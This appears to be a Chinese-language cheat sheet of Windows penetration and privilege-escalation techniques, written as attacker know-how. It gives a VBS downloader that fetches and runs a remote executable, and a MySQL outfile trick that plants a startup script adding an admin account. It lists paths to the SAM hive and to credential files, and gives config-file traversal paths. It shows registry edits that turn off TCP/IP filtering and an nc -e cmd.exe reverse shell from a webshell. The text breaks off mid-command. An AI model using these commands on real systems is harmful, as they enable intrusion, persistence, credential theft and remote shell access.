WINDOWS渗透与提权总结(2)

vbs 下载者：

01

1：

02

03	echo Set sGet = createObject("ADODB.Stream") >>c:\windows\cftmon.vbs

04

05	echo sGet.Mode = 3 >>c:\windows\cftmon.vbs

06

07	echo sGet.Type = 1 >>c:\windows\cftmon.vbs

08

09	echo sGet.Open() >>c:\windows\cftmon.vbs

10

11	echo sGet.Write(xPost.responseBody) >>c:\windows\cftmon.vbs

12

13	echo sGet.SaveToFile "c:\windows\e.exe",2 >>c:\windows\cftmon.vbs

14

15	echo Set objShell = CreateObject("Wscript.Shell") >>c:\windows\cftmon.vbs

16

17	echo objshell.run """c:\windows\e.exe""" >>c:\windows\cftmon.vbs

18

19	cftmon.vbs

2：

01	On Error Resume Next:Dim iRemote,iLocal,s1,s2

02

03	iLocal = LCase(WScript.Arguments(1)):iRemote = LCase(WScript.Arguments(0))

04

05	s1="Mi"+"cro"+"soft"+"."+"XML"+"HTTP":s2="ADO"+"DB"+"."+"Stream"

06

07	Set xPost = CreateObject(s1):xPost.Open "GET",iRemote,0:xPost.Send()

08

09	Set sGet = CreateObject(s2):sGet.Mode=3:sGet.Type=1:sGet.Open()

10

11	sGet.Write(xPost.responseBody):sGet.SaveToFile iLocal,2

12

13	cscript c:\down.vbs http://xxxx/mm.exe c:\mm.exe

14	create table a (cmd text)：

1	insert into a values ("set wshshell=createobject (""wscript.shell"")");

2

3	insert into a values ("a=wshshell.run (""cmd.exe /c net user admin admin /add"",0)");

4

5	insert into a values ("b=wshshell.run (""cmd.exe /c net localgroup administrators admin /add"",0)");

6

7	select * from a into outfile "C:\\Documents and Settings\\All Users\\「开始」菜单\\程序\\启动\\a.vbs";

Cmd 下目录的操作技巧：

列出d的所有目录：

1	for /d %i in (d:\freehost\*) do @echo %i

把当前路径下文件夹的名字只有1-3个字母的显示出来：

1	for /d %i in (???) do @echo %i

以当前目录为搜索路径，把当前目录与下面的子目录的全部EXE文件列出：

1	for /r %i in (*.exe) do @echo %i

以指定目录为搜索路径，把当前目录与下面的子目录的所有文件列出：

1	for /r "f:\freehost\hmadesign\web\" %i in (*.*) do @echo %i

这个会显示a.txt里面的内容，因为/f的作用，会读出a.txt中：

1	for /f %i in (c:\1.txt) do echo %i

delims=后的空格是分隔符，tokens是取第几个位置：

1	for /f "tokens=2 delims= " %i in (a.txt) do echo %i

Windows 系统下的一些常见路径（可以将c盘换成d,e盘,比如星外虚拟主机跟华众得,一般都放在d盘）：

001	c:\windows\php.ini

002

003	c:\boot.ini

004

005

c:\1.txt

006

007

c:\a.txt

008

009	c:\CMailServer\config.ini

010

011	c:\CMailServer\CMailServer.exe

012

013	c:\CMailServer\WebMail\index.asp

014

015	c:\program files\CMailServer\CMailServer.exe

016

017	c:\program files\CMailServer\WebMail\index.asp

018

019	C:\WinWebMail\SysInfo.ini

020

021	C:\WinWebMail\Web\default.asp

022

023	C:\WINDOWS\FreeHost32.dll

024

025	C:\WINDOWS\7i24iislog4.exe

026

027	C:\WINDOWS\7i24tool.exe

028

029	c:\hzhost\databases\url.asp

030

031	c:\hzhost\hzclient.exe

032

033	C:\Documents and Settings\All Users\「开始」菜单\程序\7i24虚拟主机管理平台\自动设置[受控端].lnk

034

035	C:\Documents and Settings\All Users\「开始」菜单\程序\Serv-U\Serv-U Administrator.lnk

036

037	C:\WINDOWS\web.config

038

039	c:\web\index.html

040

041	c:\www\index.html

042

043	c:\WWWROOT\index.html

044

045	c:\website\index.html

046

047	c:\web\index.asp

048

049	c:\www\index.asp

050

051	c:\wwwsite\index.asp

052

053	c:\WWWROOT\index.asp

054

055	c:\web\index.php

056

057	c:\www\index.php

058

059	c:\WWWROOT\index.php

060

061	c:\WWWsite\index.php

062

063	c:\web\default.html

064

065	c:\www\default.html

066

067	c:\WWWROOT\default.html

068

069	c:\website\default.html

070

071	c:\web\default.asp

072

073	c:\www\default.asp

074

075	c:\wwwsite\default.asp

076

077	c:\WWWROOT\default.asp

078

079	c:\web\default.php

080

081	c:\www\default.php

082

083	c:\WWWROOT\default.php

084

085	c:\WWWsite\default.php

086

087	C:\Inetpub\wwwroot\pagerror.gif

088

089	c:\windows\notepad.exe

090

091	c:\winnt\notepad.exe

092

093	C:\Program Files\Microsoft Office\OFFICE10\winword.exe

094

095	C:\Program Files\Microsoft Office\OFFICE11\winword.exe

096

097	C:\Program Files\Microsoft Office\OFFICE12\winword.exe

098

099	C:\Program Files\Internet Explorer\IEXPLORE.EXE

100

101	C:\Program Files\winrar\rar.exe

102

103	C:\Program Files\360\360Safe\360safe.exe

104

105	C:\Program Files\360Safe\360safe.exe

106

107	C:\Documents and Settings\Administrator\Application Data\360Safe\360Examine\360Examine.log

108

109	c:\ravbin\store.ini

110

111	c:\rising.ini

112

113	C:\Program Files\Rising\Rav\RsTask.xml

114

115	C:\Documents and Settings\All Users\Start Menu\desktop.ini

116

117	C:\Documents and Settings\Administrator\My Documents\Default.rdp

118

119	C:\Documents and Settings\Administrator\Cookies\index.dat

120

121	C:\Documents and Settings\Administrator\My Documents\新建 文本文档.txt

122

123	C:\Documents and Settings\Administrator\桌面\新建 文本文档.txt

124

125	C:\Documents and Settings\Administrator\My Documents\1.txt

126

127	C:\Documents and Settings\Administrator\桌面\1.txt

128

129	C:\Documents and Settings\Administrator\My Documents\a.txt

130

131	C:\Documents and Settings\Administrator\桌面\a.txt

132

133	C:\Documents and Settings\All Users\Documents\My Pictures\Sample Pictures\Blue hills.jpg

134

135	E:\Inetpub\wwwroot\aspnet_client\system_web\1_1_4322\SmartNav.htm

136

137	C:\Program Files\RhinoSoft.com\Serv-U\Version.txt

138

139	C:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini

140

141	C:\Program Files\Symantec\SYMEVENT.INF

142

143	C:\Program Files\Microsoft SQL Server\80\Tools\Binn\sqlmangr.exe

144

145	C:\Program Files\Microsoft SQL Server\MSSQL\Data\master.mdf

146

147	C:\Program Files\Microsoft SQL Server\MSSQL.1\MSSQL\Data\master.mdf

148

149	C:\Program Files\Microsoft SQL Server\MSSQL.2\MSSQL\Data\master.mdf

150

151	C:\Program Files\Microsoft SQL Server\80\Tools\HTML\database.htm

152

153	C:\Program Files\Microsoft SQL Server\MSSQL\README.TXT

154

155	C:\Program Files\Microsoft SQL Server\90\Tools\Bin\DdsShapes.dll

156

157	C:\Program Files\Microsoft SQL Server\MSSQL\sqlsunin.ini

158

159	C:\MySQL\MySQL Server 5.0\my.ini

160

161	C:\Program Files\MySQL\MySQL Server 5.0\my.ini

162

163	C:\Program Files\MySQL\MySQL Server 5.0\data\mysql\user.frm

164

165	C:\Program Files\MySQL\MySQL Server 5.0\COPYING

166

167	C:\Program Files\MySQL\MySQL Server 5.0\share\mysql_fix_privilege_tables.sql

168

169	C:\Program Files\MySQL\MySQL Server 4.1\bin\mysql.exe

170

171	c:\MySQL\MySQL Server 4.1\bin\mysql.exe

172

173	c:\MySQL\MySQL Server 4.1\data\mysql\user.frm

174

175	C:\Program Files\Oracle\oraconfig\Lpk.dll

176

177	C:\WINDOWS\Microsoft.NET\Framework\v2.0.50727\aspnet_state.exe

178

179	C:\WINDOWS\system32\inetsrv\w3wp.exe

180

181	C:\WINDOWS\system32\inetsrv\inetinfo.exe

182

183	C:\WINDOWS\system32\inetsrv\MetaBase.xml

184

185	C:\WINDOWS\system32\inetsrv\iisa, dmpwd\achg.asp

186

187	C:\WINDOWS\system32\config\default.LOG

188

189	C:\WINDOWS\system32\config\sam

190

191	C:\WINDOWS\system32\config\system

192

193	c:\CMailServer\config.ini

194

195	c:\program files\CMailServer\config.ini

196

197	c:\tomcat6\tomcat6\bin\version.sh

198

199	c:\tomcat6\bin\version.sh

200

201	c:\tomcat\bin\version.sh

202

203	c:\program files\tomcat6\bin\version.sh

204

205	C:\Program Files\Apache Software Foundation\Tomcat 6.0\bin\version.sh

206

207	c:\Program Files\Apache Software Foundation\Tomcat 6.0\logs\isapi_redirect.log

208

209	c:\Apache2\Apache2\bin\Apache.exe

210

211	c:\Apache2\bin\Apache.exe

212

213	c:\Apache2\php\license.txt

214

215	C:\Program Files\Apache Group\Apache2\bin\Apache.exe

216

217	c:\Program Files\QQ2007\qq.exe

218

219	c:\Program Files\Tencent\, qq\User.db

220

221	c:\Program Files\Tencent\qq\qq.exe

222

223	c:\Program Files\Tencent\qq\bin\qq.exe

224

225	c:\Program Files\Tencent\qq2009\qq.exe

226

227	c:\Program Files\Tencent\qq2008\qq.exe

228

229	c:\Program Files\Tencent\qq2010\bin\qq.exe

230

231	c:\Program Files\Tencent\qq\Users\All Users\Registry.db

232

233	C:\Program Files\Tencent\TM\TMDlls\QQZip.dll

234

235	c:\Program Files\Tencent\Tm\Bin\Txplatform.exe

236

237	c:\Program Files\Tencent\RTXServer\AppConfig.xml

238

239	C:\Program Files\Foxmal\Foxmail.exe

240

241	C:\Program Files\Foxmal\accounts.cfg

242

243	C:\Program Files\tencent\Foxmal\Foxmail.exe

244

245	C:\Program Files\tencent\Foxmal\accounts.cfg

246

247	C:\Program Files\LeapFTP 3.0\LeapFTP.exe

248

249	C:\Program Files\LeapFTP\LeapFTP.exe

250

251	c:\Program Files\GlobalSCAPE\CuteFTP Pro\cftppro.exe

252

253	c:\Program Files\GlobalSCAPE\CuteFTP Pro\notes.txt

254

255	C:\Program Files\FlashFXP\FlashFXP.ini

256

257	C:\Program Files\FlashFXP\flashfxp.exe

258

259	c:\Program Files\Oracle\bin\regsvr32.exe

260

261	c:\Program Files\腾讯游戏\QQGAME\readme.txt

262

263	c:\Program Files\tencent\腾讯游戏\QQGAME\readme.txt

264

265	c:\Program Files\tencent\QQGAME\readme.txt

266

267	C:\Program Files\StormII\Storm.exe

各种网站的配置文件相对路径大全：

001	/config.php

002

003	../../config.php

004

005	../config.php

006

007	../../../config.php

008

009	/config.inc.php

010

011	./config.inc.php

012

013	../../config.inc.php

014

015	../config.inc.php

016

017	../../../config.inc.php

018

019

/conn.php

020

021	./conn.php

022

023	../../conn.php

024

025	../conn.php

026

027	../../../conn.php

028

029

/conn.asp

030

031	./conn.asp

032

033	../../conn.asp

034

035	../conn.asp

036

037	../../../conn.asp

038

039	/config.inc.php

040

041	./config.inc.php

042

043	../../config.inc.php

044

045	../config.inc.php

046

047	../../../config.inc.php

048

049	/config/config.php

050

051	../../config/config.php

052

053	../config/config.php

054

055	../../../config/config.php

056

057	/config/config.inc.php

058

059	./config/config.inc.php

060

061	../../config/config.inc.php

062

063	../config/config.inc.php

064

065	../../../config/config.inc.php

066

067	/config/conn.php

068

069	./config/conn.php

070

071	../../config/conn.php

072

073	../config/conn.php

074

075	../../../config/conn.php

076

077	/config/conn.asp

078

079	./config/conn.asp

080

081	../../config/conn.asp

082

083	../config/conn.asp

084

085	../../../config/conn.asp

086

087	/config/config.inc.php

088

089	./config/config.inc.php

090

091	../../config/config.inc.php

092

093	../config/config.inc.php

094

095	../../../config/config.inc.php

096

097	/data/config.php

098

099	../../data/config.php

100

101	../data/config.php

102

103	../../../data/config.php

104

105	/data/config.inc.php

106

107	./data/config.inc.php

108

109	../../data/config.inc.php

110

111	../data/config.inc.php

112

113	../../../data/config.inc.php

114

115	/data/conn.php

116

117	./data/conn.php

118

119	../../data/conn.php

120

121	../data/conn.php

122

123	../../../data/conn.php

124

125	/data/conn.asp

126

127	./data/conn.asp

128

129	../../data/conn.asp

130

131	../data/conn.asp

132

133	../../../data/conn.asp

134

135	/data/config.inc.php

136

137	./data/config.inc.php

138

139	../../data/config.inc.php

140

141	../data/config.inc.php

142

143	../../../data/config.inc.php

144

145	/include/config.php

146

147	../../include/config.php

148

149	../include/config.php

150

151	../../../include/config.php

152

153	/include/config.inc.php

154

155	./include/config.inc.php

156

157	../../include/config.inc.php

158

159	../include/config.inc.php

160

161	../../../include/config.inc.php

162

163	/include/conn.php

164

165	./include/conn.php

166

167	../../include/conn.php

168

169	../include/conn.php

170

171	../../../include/conn.php

172

173	/include/conn.asp

174

175	./include/conn.asp

176

177	../../include/conn.asp

178

179	../include/conn.asp

180

181	../../../include/conn.asp

182

183	/include/config.inc.php

184

185	./include/config.inc.php

186

187	../../include/config.inc.php

188

189	../include/config.inc.php

190

191	../../../include/config.inc.php

192

193	/inc/config.php

194

195	../../inc/config.php

196

197	../inc/config.php

198

199	../../../inc/config.php

200

201	/inc/config.inc.php

202

203	./inc/config.inc.php

204

205	../../inc/config.inc.php

206

207	../inc/config.inc.php

208

209	../../../inc/config.inc.php

210

211	/inc/conn.php

212

213	./inc/conn.php

214

215	../../inc/conn.php

216

217	../inc/conn.php

218

219	../../../inc/conn.php

220

221	/inc/conn.asp

222

223	./inc/conn.asp

224

225	../../inc/conn.asp

226

227	../inc/conn.asp

228

229	../../../inc/conn.asp

230

231	/inc/config.inc.php

232

233	./inc/config.inc.php

234

235	../../inc/config.inc.php

236

237	../inc/config.inc.php

238

239	../../../inc/config.inc.php

240

241	/index.php

242

243	./index.php

244

245	../../index.php

246

247	../index.php

248

249	../../../index.php

250

251	/index.asp

252

253	./index.asp

254

255	../../index.asp

256

257	../index.asp

258

259	../../../index.asp

去除TCP IP筛选：

TCP/IP筛选在注册表里有三处，分别是：

1	HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\Tcpip

2

3	HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip

4

5	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip

分别用以下命令来导出注册表项：

1	regedit -e D:\a.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip

2

3	regedit -e D:\b.reg HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip

4

5	regedit -e D:\c.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip

然后再把三个文件里的：

1	“EnableSecurityFilters"=dword:00000001”

改为：

1	“EnableSecurityFilters"=dword:00000000”

再将以上三个文件分别用以下命令导入注册表即可：

1	regedit -s D:\a.reg

2

3	regedit -s D:\b.reg

4

5	regedit -s D:\c.reg

Webshell 提权小技巧：

Cmd路径：

1	c:\windows\temp\cmd.exe

Nc 也在同目录下，例如反弹cmdshell：

1	"c:\windows\temp\nc.exe -vv ip 999 -e c:\windows\temp\cmd.exe"

通常都不会成功。

而直接在 cmd 路径上输入：

1	c:\windows\temp\nc.exe

命令输入：

1	-vv ip 999 -e c:\windows\temp\cmd.exe

却能成功。。这个不是重点

我们通常执行 pr.exe 或 Churrasco.exe 的时候也需要按照上面的方法才能成功。

命令行调用 RAR 打包：

1	rar a -k -r -s -m3 c:\1.rar c:\folde